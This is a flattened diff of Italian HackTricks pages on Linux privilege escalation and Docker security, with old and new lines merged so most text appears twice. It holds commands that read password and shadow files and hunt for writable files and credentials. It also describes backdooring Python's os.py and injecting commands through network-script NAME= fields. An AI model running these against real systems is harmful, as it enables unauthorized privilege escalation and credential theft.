Quella configurazione indicherà che se si tenta di effettuare il login con la chiave **privata** dell'utente "**testusername**", ssh confronta la chiave pubblica della tua chiave con quelle situate in `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access` Quella configurazione indicherà che se provi a effettuare il login con la chiave **privata** dell'utente "**testusername**", ssh confronta la chiave pubblica della tua chiave con quelle situate in `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access`
### ForwardAgent/AllowAgentForwarding ### ForwardAgent/AllowAgentForwarding
@ -1179,9 +1180,9 @@ ForwardAgent yes
Nota che se `Host` è `*` ogni volta che l'utente passa a una macchina diversa, quella macchina sarà in grado di accedere alle chiavi (che è un problema di sicurezza). Nota che se `Host` è `*` ogni volta che l'utente passa a una macchina diversa, quella macchina sarà in grado di accedere alle chiavi (che è un problema di sicurezza).
Il file `/etc/ssh_config` può **sovrascrivere** queste **opzioni** e consentire o negare questa configurazione.\ Il file `/etc/ssh_config` può **sovrascrivere** queste **opzioni** e consentire o negare questa configurazione.\
Il file `/etc/sshd_config` può **consentire** o **negare** il forwarding dell'ssh-agent con la parola chiave `AllowAgentForwarding` (per impostazione predefinita è consentito). Il file `/etc/sshd_config` può **consentire** o **negare** l'inoltro dell'agente ssh con la parola chiave `AllowAgentForwarding` (per impostazione predefinita è consentito).
Se trovi che l'Agente Forward è configurato in un ambiente, leggi la seguente pagina poiché **potresti essere in grado di abusarne per ottenere privilegi elevati**: Se trovi che l'Inoltro dell'Agente è configurato in un ambiente, leggi la seguente pagina poiché **potresti essere in grado di sfruttarlo per ottenere privilegi elevati**:
{% content-ref url="ssh-forward-agent-exploitation.md" %} {% content-ref url="ssh-forward-agent-exploitation.md" %}
[ssh-forward-agent-exploitation.md](ssh-forward-agent-exploitation.md) [ssh-forward-agent-exploitation.md](ssh-forward-agent-exploitation.md)
@ -1199,7 +1200,7 @@ Se viene trovato uno script di profilo strano, dovresti controllarlo per **detta
### File Passwd/Shadow ### File Passwd/Shadow
A seconda del sistema operativo, i file `/etc/passwd` e `/etc/shadow` potrebbero avere nomi diversi o potrebbe esserci un backup. Pertanto, è consigliato **trovarli tutti** e **verificare se puoi leggerli** per vedere **se ci sono hash** all'interno dei file: A seconda del sistema operativo, i file `/etc/passwd` e `/etc/shadow` potrebbero avere un nome diverso o potrebbe esserci un backup. Pertanto, è consigliato **trovarli tutti** e **verificare se è possibile leggerli** per vedere **se contengono hash** all'interno dei file:
```bash ```bash
#Passwd equivalent files #Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
@ -1234,7 +1235,7 @@ su - dummy
``` ```
**NOTA:** Nei sistemi BSD `/etc/passwd` si trova in `/etc/pwd.db` e `/etc/master.passwd`, inoltre `/etc/shadow` è rinominato in `/etc/spwd.db`. **NOTA:** Nei sistemi BSD `/etc/passwd` si trova in `/etc/pwd.db` e `/etc/master.passwd`, inoltre `/etc/shadow` è rinominato in `/etc/spwd.db`.
Dovresti verificare se puoi **scrivere in alcuni file sensibili**. Ad esempio, puoi scrivere in qualche **file di configurazione del servizio**? Dovresti verificare se puoi **scrivere in alcuni file sensibili**. Ad esempio, puoi scrivere in alcuni **file di configurazione del servizio**?
```bash ```bash
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
@ -1274,7 +1275,7 @@ done
```bash ```bash
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
``` ```
### File di database Sqlite ### File DB Sqlite
```bash ```bash
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
``` ```
@ -1286,7 +1287,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam
```bash ```bash
find / -type f -iname ".*" -ls 2>/dev/null find / -type f -iname ".*" -ls 2>/dev/null
``` ```
### **Script/Binari nel PATH** ### **Script/Binaries in PATH**
```bash ```bash
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
@ -1310,12 +1311,12 @@ Leggi il codice di [**linPEAS**](https://github.com/carlospolop/privilege-escala
### Registri ### Registri
Se riesci a leggere i registri, potresti trovare **informazioni interessanti/confidenziali al loro interno**. Più strano è il registro, più interessante sarà (probabilmente).\ Se riesci a leggere i registri, potresti trovare **informazioni interessanti/confidenziali al loro interno**. Più strano è il registro, più interessante sarà (probabilmente).\
Inoltre, alcuni registri di **audit "cattivi"** configurati (backdoor?) potrebbero permetterti di **registrare password** all'interno dei registri di audit come spiegato in questo post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). Inoltre, alcuni registri di **audit "cattivi"** configurati (con backdoor?) potrebbero permetterti di **registrare password** all'interno dei registri di audit come spiegato in questo post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
```bash ```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
``` ```
Per **leggere i log** il gruppo [**adm**](gruppi-interessanti-linux-pe/#gruppo-adm) sarà davvero utile. Per poter **leggere i log del gruppo** [**adm**](gruppi-interessanti-linux-pe/#gruppo-adm) sarà davvero utile.
### File della shell ### File della shell
```bash ```bash
@ -1330,14 +1331,14 @@ Per **leggere i log** il gruppo [**adm**](gruppi-interessanti-linux-pe/#gruppo-a
``` ```
### Ricerca generica delle credenziali/Regex ### Ricerca generica delle credenziali/Regex
Dovresti anche controllare i file che contengono la parola "**password**" nel **nome** o all'interno del **contenuto**, e controllare anche gli IP e le email nei log, o tramite espressioni regolari per gli hash.\ Dovresti anche controllare i file che contengono la parola "**password**" nel **nome** o all'interno del **contenuto**, e controllare anche gli IP e le email nei log, o gli hash tramite espressioni regolari.\
Non elencherò qui come fare tutto questo, ma se sei interessato puoi controllare gli ultimi controlli che [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) esegue. Non elencherò qui come fare tutto questo, ma se sei interessato puoi controllare gli ultimi controlli che [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) esegue.
## File scrivibili ## File scrivibili
### Dirottamento della libreria Python ### Dirottamento della libreria Python
Se sai da **dove** uno script python verrà eseguito e **puoi scrivere all'interno** di quella cartella o **modificare le librerie python**, puoi modificare la libreria del sistema operativo e inserirci un backdoor (se puoi scrivere dove lo script python verrà eseguito, copia e incolla la libreria os.py). Se sai da **dove** uno script python verrà eseguito e **puoi scrivere all'interno** di quella cartella o **modificare le librerie python**, puoi modificare la libreria OS e inserire un backdoor (se puoi scrivere dove lo script python verrà eseguito, copia e incolla la libreria os.py).
Per **inserire un backdoor nella libreria**, aggiungi alla fine della libreria os.py la seguente riga (cambia IP e PORT): Per **inserire un backdoor nella libreria**, aggiungi alla fine della libreria os.py la seguente riga (cambia IP e PORT):
```python ```python
@ -1361,9 +1362,9 @@ Questa vulnerabilità è molto simile a [**CVE-2016-1247**](https://www.cvedetai
**Riferimento alla vulnerabilità:** [**https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f) **Riferimento alla vulnerabilità:** [**https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f)
Se, per qualsiasi motivo, un utente è in grado di **scrivere** uno script `ifcf-<qualunque cosa>` in _/etc/sysconfig/network-scripts_ **o** può **modificare** uno già esistente, allora il **sistema è compromesso**. Se, per qualsiasi motivo, un utente è in grado di **scrivere** uno script `ifcf-<qualunque>` in _/etc/sysconfig/network-scripts_ **o** può **modificare** uno già esistente, allora il **sistema è compromesso**.
Gli script di rete, ad esempio _ifcg-eth0_, sono utilizzati per le connessioni di rete. Assomigliano esattamente ai file .INI. Tuttavia, vengono \~sourced\~ su Linux dal Network Manager (dispatcher.d). Gli script di rete, ad esempio _ifcg-eth0_, sono utilizzati per le connessioni di rete. Assomigliano esattamente ai file .INI. Tuttavia, vengono \~sourced\~ su Linux da Network Manager (dispatcher.d).
Nel mio caso, l'attributo `NAME=` in questi script di rete non è gestito correttamente. Se hai **spazi bianchi nel nome, il sistema cerca di eseguire la parte dopo lo spazio bianco**. Questo significa che **tutto ciò che segue il primo spazio bianco viene eseguito come root**. Nel mio caso, l'attributo `NAME=` in questi script di rete non è gestito correttamente. Se hai **spazi bianchi nel nome, il sistema cerca di eseguire la parte dopo lo spazio bianco**. Questo significa che **tutto ciò che segue il primo spazio bianco viene eseguito come root**.
@ -1375,8 +1376,8 @@ DEVICE=eth0
``` ```
### **init, init.d, systemd e rc.d** ### **init, init.d, systemd e rc.d**
La directory `/etc/init.d` ospita **script** per System V init (SysVinit), il **sistema classico di gestione dei servizi Linux**. Include script per `avviare`, `fermare`, `riavviare` e talvolta `ricaricare` servizi. Questi possono essere eseguiti direttamente o tramite link simbolici trovati in `/etc/rc?.d/`. Un percorso alternativo nei sistemi Redhat è `/etc/rc.d/init.d`. La directory `/etc/init.d` è la sede degli **script** per System V init (SysVinit), il **sistema classico di gestione dei servizi Linux**. Include script per `avviare`, `fermare`, `riavviare` e talvolta `ricaricare` i servizi. Questi possono essere eseguiti direttamente o tramite collegamenti simbolici trovati in `/etc/rc?.d/`. Un percorso alternativo nei sistemi Redhat è `/etc/rc.d/init.d`.
D'altra parte, `/etc/init` è associato a **Upstart**, un sistema di **gestione dei servizi più recente** introdotto da Ubuntu, che utilizza file di configurazione per compiti di gestione dei servizi. Nonostante il passaggio a Upstart, gli script SysVinit sono ancora utilizzati insieme alle configurazioni Upstart grazie a uno strato di compatibilità in Upstart. D'altra parte, `/etc/init` è associato a **Upstart**, un sistema di **gestione dei servizi più recente** introdotto da Ubuntu, che utilizza file di configurazione per compiti di gestione dei servizi. Nonostante il passaggio a Upstart, gli script SysVinit sono ancora utilizzati insieme alle configurazioni di Upstart grazie a uno strato di compatibilità in Upstart.
**systemd** emerge come un moderno inizializzatore e gestore di servizi, offrendo funzionalità avanzate come l'avvio su richiesta dei daemon, la gestione dell'automount e gli snapshot dello stato di sistema. Organizza i file in `/usr/lib/systemd/` per i pacchetti di distribuzione e in `/etc/systemd/system/` per le modifiche degli amministratori, semplificando il processo di amministrazione di sistema. **systemd** emerge come un moderno inizializzatore e gestore dei servizi, offrendo funzionalità avanzate come l'avvio su richiesta dei daemon, la gestione dell'automount e gli snapshot dello stato di sistema. Organizza i file in `/usr/lib/systemd/` per i pacchetti di distribuzione e in `/etc/systemd/system/` per le modifiche degli amministratori, semplificando il processo di amministrazione di sistema.

View file

@ -1,23 +1,24 @@
# Sicurezza di Docker # Sicurezza di Docker
{% hint style="success" %}
Impara e pratica l'Hacking di AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking di GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) per creare e **automatizzare flussi di lavoro** con gli strumenti della comunità più avanzati al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
@ -37,7 +38,7 @@ Il motore Docker, per impostazione predefinita, è in ascolto sul socket Unix a
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376" DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart sudo service docker restart
``` ```
Tuttavia, esporre il demone Docker su HTTP non è consigliato a causa di preoccupazioni per la sicurezza. È consigliabile proteggere le connessioni utilizzando HTTPS. Ci sono due approcci principali per garantire la sicurezza della connessione: Tuttavia, esporre il demone Docker su HTTP non è consigliato a causa di preoccupazioni per la sicurezza. È consigliabile proteggere le connessioni utilizzando HTTPS. Ci sono due approcci principali per garantire la connessione:
1. Il client verifica l'identità del server. 1. Il client verifica l'identità del server.
2. Sia il client che il server si autenticano reciprocamente. 2. Sia il client che il server si autenticano reciprocamente.
@ -94,9 +95,9 @@ La firma delle immagini Docker garantisce la sicurezza e l'integrità delle imma
- **Docker Content Trust** utilizza il progetto Notary, basato su The Update Framework (TUF), per gestire la firma delle immagini. Per ulteriori informazioni, consulta [Notary](https://github.com/docker/notary) e [TUF](https://theupdateframework.github.io). - **Docker Content Trust** utilizza il progetto Notary, basato su The Update Framework (TUF), per gestire la firma delle immagini. Per ulteriori informazioni, consulta [Notary](https://github.com/docker/notary) e [TUF](https://theupdateframework.github.io).
- Per attivare la fiducia nei contenuti di Docker, imposta `export DOCKER_CONTENT_TRUST=1`. Questa funzionalità è disattivata per impostazione predefinita nelle versioni di Docker dalla 1.10 in poi. - Per attivare la fiducia nei contenuti di Docker, imposta `export DOCKER_CONTENT_TRUST=1`. Questa funzionalità è disattivata per impostazione predefinita nelle versioni di Docker dalla 1.10 in poi.
- Con questa funzionalità abilitata, è possibile scaricare solo immagini firmate. Il caricamento iniziale dell'immagine richiede di impostare passphrase per le chiavi radice e di tag, con Docker che supporta anche Yubikey per una sicurezza potenziata. Ulteriori dettagli possono essere trovati [qui](https://blog.docker.com/2015/11/docker-content-trust-yubikey/). - Con questa funzionalità abilitata, è possibile scaricare solo immagini firmate. Il push iniziale dell'immagine richiede di impostare passphrase per le chiavi di root e di tag, con Docker che supporta anche Yubikey per una sicurezza potenziata. Ulteriori dettagli possono essere trovati [qui](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- Tentare di scaricare un'immagine non firmata con la fiducia nei contenuti abilitata porta a un errore "Nessun dato di fiducia per l'ultima versione". - Tentare di scaricare un'immagine non firmata con la fiducia nei contenuti abilitata porta a un errore "Nessun dato di fiducia per l'ultima versione".
- Per i caricamenti delle immagini successivi al primo, Docker richiede la passphrase della chiave del repository per firmare l'immagine. - Per i push delle immagini successivi al primo, Docker richiede la passphrase della chiave del repository per firmare l'immagine.
Per eseguire il backup delle tue chiavi private, utilizza il comando: Per eseguire il backup delle tue chiavi private, utilizza il comando:
```bash ```bash
@ -109,7 +110,7 @@ Quando si passa da un host Docker all'altro, è necessario spostare le chiavi di
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) per creare e automatizzare facilmente flussi di lavoro supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
@ -122,13 +123,13 @@ Ottieni l'accesso oggi:
**Principali Funzionalità di Isolamento dei Processi** **Principali Funzionalità di Isolamento dei Processi**
In ambienti containerizzati, isolare i progetti e i loro processi è fondamentale per la sicurezza e la gestione delle risorse. Ecco una spiegazione semplificata dei concetti chiave: Negli ambienti containerizzati, isolare i progetti e i loro processi è fondamentale per la sicurezza e la gestione delle risorse. Ecco una spiegazione semplificata dei concetti chiave:
**Namespaces** **Namespaces**
* **Scopo**: Garantire l'isolamento delle risorse come processi, rete e filesystem. In particolare in Docker, i namespaces mantengono separati i processi di un container dall'host e dagli altri container. * **Scopo**: Garantire l'isolamento delle risorse come processi, rete e filesystem. In particolare in Docker, i namespaces mantengono separati i processi di un container dall'host e dagli altri container.
* **Utilizzo di `unshare`**: Il comando `unshare` (o la syscall sottostante) viene utilizzato per creare nuovi namespaces, fornendo un ulteriore livello di isolamento. Tuttavia, mentre Kubernetes non blocca questo concetto in modo innato, Docker lo fa. * **Utilizzo di `unshare`**: Il comando `unshare` (o la syscall sottostante) viene utilizzato per creare nuovi namespaces, fornendo un ulteriore livello di isolamento. Tuttavia, mentre Kubernetes non blocca questo concetto in modo innato, Docker lo fa.
* **Limitazione**: Creare nuovi namespaces non consente a un processo di tornare ai namespaces predefiniti dell'host. Per penetrare nei namespaces dell'host, di solito è necessario accedere alla directory `/proc` dell'host, utilizzando `nsenter` per l'ingresso. * **Limitazione**: La creazione di nuovi namespaces non consente a un processo di tornare ai namespaces predefiniti dell'host. Per penetrare nei namespaces dell'host, di solito è necessario accedere alla directory `/proc` dell'host, utilizzando `nsenter` per l'ingresso.
**Gruppi di Controllo (CGroups)** **Gruppi di Controllo (CGroups)**
@ -138,7 +139,7 @@ In ambienti containerizzati, isolare i progetti e i loro processi è fondamental
**Rinuncia alle Capacità (Capability Drop)** **Rinuncia alle Capacità (Capability Drop)**
* **Importanza**: È una funzionalità di sicurezza cruciale per l'isolamento dei processi. * **Importanza**: È una funzionalità di sicurezza cruciale per l'isolamento dei processi.
* **Funzionalità**: Limita le azioni che un processo root può eseguire rinunciando a determinate capacità. Anche se un processo viene eseguito con privilegi di root, la mancanza delle capacità necessarie impedisce l'esecuzione di azioni privilegiate, poiché le syscall falliranno a causa di autorizzazioni insufficienti. * **Funzionalità**: Limita le azioni che un processo root può eseguire rinunciando a determinate capacità. Anche se un processo viene eseguito con privilegi di root, la mancanza delle capacità necessarie impedisce l'esecuzione di azioni privilegiate, poiché le chiamate di sistema falliranno a causa di autorizzazioni insufficienti.
Queste sono le **capacità rimanenti** dopo che il processo ha rinunciato alle altre: Queste sono le **capacità rimanenti** dopo che il processo ha rinunciato alle altre:
@ -150,8 +151,8 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
**Seccomp** **Seccomp**
È abilitato per impostazione predefinita in Docker. Aiuta a **limitare ulteriormente le syscalls** che il processo può chiamare.\ È abilitato per impostazione predefinita in Docker. Aiuta a **limitare ancora di più le syscalls** che il processo può chiamare.\
Il **profilo Seccomp predefinito di Docker** può essere trovato in [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) Il **profilo Seccomp predefinito di Docker** si trova in [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
**AppArmor** **AppArmor**
@ -202,7 +203,7 @@ Per ulteriori informazioni controlla:
Le capacità consentono un **controllo più preciso delle capacità che possono essere consentite** per l'utente root. Docker utilizza la funzionalità di capacità del kernel Linux per **limitare le operazioni che possono essere eseguite all'interno di un contenitore** indipendentemente dal tipo di utente. Le capacità consentono un **controllo più preciso delle capacità che possono essere consentite** per l'utente root. Docker utilizza la funzionalità di capacità del kernel Linux per **limitare le operazioni che possono essere eseguite all'interno di un contenitore** indipendentemente dal tipo di utente.
Quando viene eseguito un contenitore Docker, il **processo elimina le capacità sensibili che il processo potrebbe utilizzare per sfuggire all'isolamento**. Questo tenta di garantire che il processo non sarà in grado di eseguire azioni sensibili e di fuga: Quando viene eseguito un contenitore Docker, il **processo elimina le capacità sensibili che il processo potrebbe utilizzare per sfuggire all'isolamento**. Questo tenta di garantire che il processo non sarà in grado di eseguire azioni sensibili e di sfuggire:
{% content-ref url="../linux-capabilities.md" %} {% content-ref url="../linux-capabilities.md" %}
[linux-capabilities.md](../linux-capabilities.md) [linux-capabilities.md](../linux-capabilities.md)
@ -218,7 +219,7 @@ Si tratta di una funzionalità di sicurezza che consente a Docker di **limitare
### AppArmor in Docker ### AppArmor in Docker
**AppArmor** è un potenziamento del kernel per confinare i **contenitori** a un **insieme limitato** di **risorse** con **profili per programma**: **AppArmor** è un potenziamento del kernel per confinare i **contenitori** a un **insieme limitato di risorse** con **profili per programma**:
{% content-ref url="apparmor.md" %} {% content-ref url="apparmor.md" %}
[apparmor.md](apparmor.md) [apparmor.md](apparmor.md)
@ -228,9 +229,9 @@ Si tratta di una funzionalità di sicurezza che consente a Docker di **limitare
* **Sistema di etichettatura**: SELinux assegna un'etichetta univoca a ogni processo e oggetto del filesystem. * **Sistema di etichettatura**: SELinux assegna un'etichetta univoca a ogni processo e oggetto del filesystem.
* **Esecuzione delle policy**: Applica le policy di sicurezza che definiscono quali azioni può compiere un'etichetta di processo su altre etichette all'interno del sistema. * **Esecuzione delle policy**: Applica le policy di sicurezza che definiscono quali azioni può compiere un'etichetta di processo su altre etichette all'interno del sistema.
* **Etichette dei processi del contenitore**: Quando i motori dei contenitori avviano i processi del contenitore, di solito vengono assegnate loro un'etichetta SELinux confinata, comunemente `container_t`. * **Etichette dei processi del contenitore**: Quando i motori dei contenitori avviano i processi del contenitore, vengono tipicamente assegnate loro un'etichetta SELinux confinata, comunemente `container_t`.
* **Etichettatura dei file all'interno dei contenitori**: I file all'interno del contenitore di solito sono etichettati come `container_file_t`. * **Etichettatura dei file all'interno dei contenitori**: I file all'interno del contenitore sono di solito etichettati come `container_file_t`.
* **Regole di policy**: La policy SELinux garantisce principalmente che i processi con l'etichetta `container_t` possano interagire solo (leggere, scrivere, eseguire) con i file etichettati come `container_file_t`. * **Regole di policy**: La policy SELinux garantisce principalmente che i processi con l'etichetta `container_t` possano interagire (leggere, scrivere, eseguire) solo con file etichettati come `container_file_t`.
Questo meccanismo garantisce che anche se un processo all'interno di un contenitore viene compromesso, è confinato nell'interagire solo con oggetti che hanno le etichette corrispondenti, limitando significativamente i danni potenziali da tali compromissioni. Questo meccanismo garantisce che anche se un processo all'interno di un contenitore viene compromesso, è confinato nell'interagire solo con oggetti che hanno le etichette corrispondenti, limitando significativamente i danni potenziali da tali compromissioni.
@ -245,7 +246,7 @@ In Docker, un plugin di autorizzazione svolge un ruolo cruciale nella sicurezza
* **Contesto di autenticazione**: Questo include informazioni dettagliate sull'utente, come chi sono e come si sono autenticati. * **Contesto di autenticazione**: Questo include informazioni dettagliate sull'utente, come chi sono e come si sono autenticati.
* **Contesto del comando**: Questo comprende tutti i dati pertinenti relativi alla richiesta in corso. * **Contesto del comando**: Questo comprende tutti i dati pertinenti relativi alla richiesta in corso.
Questi contesti aiutano a garantire che solo le richieste legittime da utenti autenticati vengano elaborate, migliorando la sicurezza delle operazioni di Docker. Questi contesti contribuiscono a garantire che solo le richieste legittime da utenti autenticati vengano elaborate, migliorando la sicurezza delle operazioni di Docker.
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %} {% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md) [authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
@ -281,7 +282,7 @@ Nella seguente pagina puoi apprendere **cosa implica il flag `--privileged`**:
#### no-new-privileges #### no-new-privileges
Se stai eseguendo un container in cui un attaccante riesce ad ottenere accesso come utente a basso livello. Se hai un **binario suid mal configurato**, l'attaccante potrebbe abusarne e **escalare i privilegi all'interno** del container. Ciò potrebbe consentirgli di evaderne. Se stai eseguendo un container in cui un attaccante riesce ad ottenere accesso come utente a basso privilegio. Se hai un **binario suid mal configurato**, l'attaccante potrebbe abusarne e **escalare i privilegi all'interno** del container. Ciò potrebbe consentirgli di evaderne.
Eseguire il container con l'opzione **`no-new-privileges`** abilitata **impedirà questo tipo di escalation dei privilegi**. Eseguire il container con l'opzione **`no-new-privileges`** abilitata **impedirà questo tipo di escalation dei privilegi**.
``` ```
@ -306,13 +307,13 @@ Per ulteriori opzioni **`--security-opt`** controlla: [https://docs.docker.com/e
## Altre Considerazioni sulla Sicurezza ## Altre Considerazioni sulla Sicurezza
### Gestione dei Segreti: Migliori Pratiche ### Gestione delle Password: Migliori Pratiche
È cruciale evitare di incorporare segreti direttamente nelle immagini Docker o di utilizzare variabili d'ambiente, poiché questi metodi espongono le informazioni sensibili a chiunque abbia accesso al container tramite comandi come `docker inspect` o `exec`. È cruciale evitare di incorporare le password direttamente nelle immagini Docker o di utilizzare variabili d'ambiente, poiché questi metodi espongono le informazioni sensibili a chiunque abbia accesso al container tramite comandi come `docker inspect` o `exec`.
I **volumi Docker** sono un'alternativa più sicura, consigliata per accedere a informazioni sensibili. Possono essere utilizzati come filesystem temporaneo in memoria, mitigando i rischi associati a `docker inspect` e al logging. Tuttavia, gli utenti root e coloro con accesso `exec` al container potrebbero comunque accedere ai segreti. I **volumi Docker** sono un'alternativa più sicura, consigliata per accedere alle informazioni sensibili. Possono essere utilizzati come filesystem temporaneo in memoria, mitigando i rischi associati a `docker inspect` e al logging. Tuttavia, gli utenti root e coloro con accesso `exec` al container potrebbero comunque accedere alle password.
I **segreti Docker** offrono un metodo ancora più sicuro per gestire informazioni sensibili. Per le istanze che richiedono segreti durante la fase di build dell'immagine, **BuildKit** presenta una soluzione efficiente con supporto per i segreti di build-time, migliorando la velocità di build e fornendo funzionalità aggiuntive. Le **password Docker** offrono un metodo ancora più sicuro per gestire le informazioni sensibili. Per le istanze che richiedono password durante la fase di build dell'immagine, **BuildKit** presenta una soluzione efficiente con il supporto per le password in fase di build, migliorando la velocità di build e fornendo funzionalità aggiuntive.
Per sfruttare BuildKit, può essere attivato in tre modi: Per sfruttare BuildKit, può essere attivato in tre modi:
@ -320,7 +321,7 @@ Per sfruttare BuildKit, può essere attivato in tre modi:
